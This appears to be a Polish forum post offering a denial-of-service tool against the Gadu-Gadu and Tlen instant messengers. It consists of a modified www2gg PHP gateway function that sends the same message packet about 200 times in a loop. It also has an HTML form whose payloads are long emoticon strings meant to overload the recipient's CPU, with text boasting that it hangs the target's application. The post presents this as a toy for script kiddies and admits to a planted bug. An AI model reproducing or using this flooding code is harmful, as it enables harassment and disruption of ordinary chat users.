GG-DOS |
Jak juz pewnie wszyscy slyszeli w gg i tlenie jest luka (duzo obrazkow= duze obciazenie cpu)==zawieszenie komunikatora
w tym arcie chce tylko zaprezentowac zmodyfikowana bramke www2gg jako pewna rodzaju zabawke dla script kiddies , jednakrze umieszczam w niej blad ktory kazdy programista odrazu poprawi...
oto kod zmienionej funkcji
Kod:
###################
#to nas interesuje#
###################
function wyslij_wiadomosc($adresat, $tresc, $potwierdzenie = TRUE);
{
$tresc = txt::iso2cp($tresc);
$seq = mt_rand();
$data = pack("VVVVVa".strlen($tresc)."C", GG_SEND_MSG, 0x0d + strlen($tresc), $adresat,
$seq, ($potwierdzenie)?GG_CLASS_MSG:GG_CLASS_MSG | GG_CLASS_ACK, $tresc, 0);
$this->Debug("Wyslano pakiet wiadomo¶ci : ".bin2hex($data), $data);
$this->status_dostarczenia[$seq] = FALSE; //zmieni sie przy otrzymaniu potwierdzenia
for($z=2;$z<=200;$z++){
fwrite($this->fp, $data);
}
if (!fwrite($this->fp, $data))
return FALSE;
return $seq;
}
####################
#koniec tej funkcji#
####################
teraz kod index.html:
Kod:
<HTML>
<HEAD>
<TITLE>Bramka www2gg</TITLE>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-2">
</HEAD>
<BODY>
<div align="left"></div>
<FORM NAME="www2gg" METHOD="post" ACTION="www2gg.php">
<P ALIGN="LEFT"> SKRYPT ZAWIESZA APLIKACJE ODBIORCY ;] <BR>
<BR>
Odbiorca :
<INPUT TYPE="text" NAME="adresat" MAXLENGTH="7" SIZE="7" VALUE="">
<br><select name="tresc"><option value=":*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*: *:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*: *:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*: *:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*"> gadu gadu
</option><option value="<UŚMIECH><UŚMIECH><UŚMIECH><UŚMIECH& gt;<UŚMIECH><UŚMIECH><UŚMIECH><UŚMIECH>& lt;UŚMIECH><UŚMIECH><UŚMIECH><UŚMIECH><U ŚMIECH><UŚMIECH><UŚMIECH><UŚMIECH><UŚMIE CH><UŚMIECH><UŚMIECH><UŚMIECH><UŚMIECH&g t;<UŚMIECH><UŚMIECH><UŚMIECH><UŚMIECH>&l t;UŚMIECH><UŚMIECH><UŚMIECH><UŚMIECH><UŚ MIECH><UŚMIECH><UŚMIECH><UŚMIECH><UŚMIEC H><UŚMIECH><UŚMIECH>">TLEN</option></ select>
<INPUT TYPE="submit" NAME="Submit" VALUE="Wyslij">
</P>
<P ALIGN="LEFT"><BR>
</P>
</FORM>
<P> </P>
</BODY>
</HTML>
i to by bylo na tyle...